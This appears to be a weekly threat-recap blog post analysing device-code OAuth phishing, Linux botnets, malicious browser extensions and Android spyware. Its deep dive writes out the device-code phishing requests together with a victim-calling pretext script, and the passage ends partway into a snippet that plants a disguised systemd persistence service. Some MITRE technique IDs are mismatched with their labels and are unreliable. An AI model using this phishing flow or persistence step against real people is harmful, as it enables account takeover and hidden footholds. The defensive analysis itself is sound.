Weekly Threat Recap: Social Engineering to Supply Chain Poisoning

Originally published on satyamrastogi.com Analysis of critical attack vectors this week spanning device-code phishing, Linux DDoS botnets, Android spyware, and supply chain poisoning. Attacker perspective on why social engineering remains devastatingly effective. Weekly Threat Recap: Social Engineering to Supply Chain Poisoning Executive Summary This week's threat landscape demonstrates a critical lesson for defenders: attackers don't always need sophisticated zero-days. They weaponize the friction points that organizations accept as unavoidable-shared links, device-code flows, trusted browser extensions, default credentials, and human psychology. From a red team perspective, the most effective campaigns this week combined multiple attack primitives. A single compromise vector often chains into infrastructure access, lateral movement, and persistence. We're seeing attackers exploit the gap between security theory and operational reality. Attack Vector Analysis The primary attack chains this week fell into three categories: Social Engineering & Phishing (MITRE ATT&CK T1566 - Phishing) Device-code phishing attacks represent a sophisticated mutation of traditional OAuth abuse. Attackers generate device codes through legitimate OAuth 2.0 flows, then social engineer targets via fake support calls or messages to authenticate on attacker-controlled applications. Once the target enters that device code, attackers gain session tokens without ever intercepting credentials. The attack works because device-code flow (RFC 8628) was designed for headless devices-TVs, IoT platforms, printers. The authentication happens on a secondary device (the user's phone), creating a disconnect that social engineers exploit. A convincing support call ("We detected suspicious activity on your account, enter this code to verify your device") is sufficient. The target never realizes they're authenticating an attacker's application. Related to this: Passkey Bypass Chains show how attackers target authentication ecosystems rather than individual mechanisms. Linux DDoS Botnet Infrastructure (MITRE ATT&CK T1053 - Scheduled Task/Job, T1583.002 - Infrastructure as a Service) Linux botnet activity spiked this week with variants targeting exposed Docker sockets, vulnerable package managers, and misconfigured SSH services. These aren't new techniques-they're effective because default configurations persist. A Docker socket exposed to the host network with no authentication becomes a pivot point into containerized infrastructure, then lateral movement to the host. Botnets this week leveraged Alpine Linux GitLab RCE vulnerabilities and similar supply chain weaknesses to seed initial infections across development infrastructure. Once planted in CI/CD pipelines, they establish persistent DDoS capacity while remaining silent from application monitoring. Trusted Extension Exploitation (MITRE ATT&CK T1176 - Browser Extensions) Browser extensions remain one of the most underestimated compromise vectors. Extensions run with the same privileges as the user's browser session and can access all traffic, cookies, and DOM content. Attackers compromise legitimate extensions through supply chain attacks (developer credential compromise, malicious pull requests) or create fake "security extensions" that users install voluntarily. This week saw variants stealing OAuth tokens, API keys, and session cookies. The critical detail: users grant these permissions explicitly during installation, then never revoke them. Android Spyware & Mobile Persistence (MITRE ATT&CK T1533 - External Remote Services) Android spyware campaigns distributed via trojanized apps and SMS phishing links established persistent access to SMS, call logs, location, and camera. The attack chain typically involves: Phishing link to trojanized APK User enables unknown sources (or sideloading vulnerability) Installation with Device Admin permissions (or accessibility service abuse) Persistence through boot-complete receiver Command-and-control via SMS or HTTP callbacks From an attacker's perspective, Android's permission model creates friction but doesn't prevent determined compromise. Accessibility services (T1598 - Phishing for Information) can capture screen content and keystroke patterns without explicit security warnings. Technical Deep Dive Device-Code OAuth Exploitation The attack exploits RFC 8628 semantics: Attacker initiates: POST /oauth/device_authorization HTTP/1.1 client_id=attacker_app&scope=openid profile email Server responds: device_code: ABCD1234 user_code: WXYZ verification_uri: https://auth.service.com/device Attacker calls target: "Hi, this is [Company] Security. To verify your account, go to auth.service.com/device and enter: WXYZ" Target enters code at verification_uri. Authenticator backend matches user_code to device_code. Attacker polls: POST /oauth/token HTTP/1.1 client_id=attacker_app&device_code=ABCD1234&grant_type=urn:ietf:params:oauth:grant-type:device_code Server issues: access_token: eyJ0eXAi...[JWT]... refresh_token: [token] Attacker now has authenticated session impersonating target. The critical flaw: nothing in the flow proves the code entry location. The target authenticates an attacker's application while believing they're verifying their own account. Linux Botnet Persistence via Systemd # Attacker plants persistent service cat > /etc/systemd/system/system-updater.service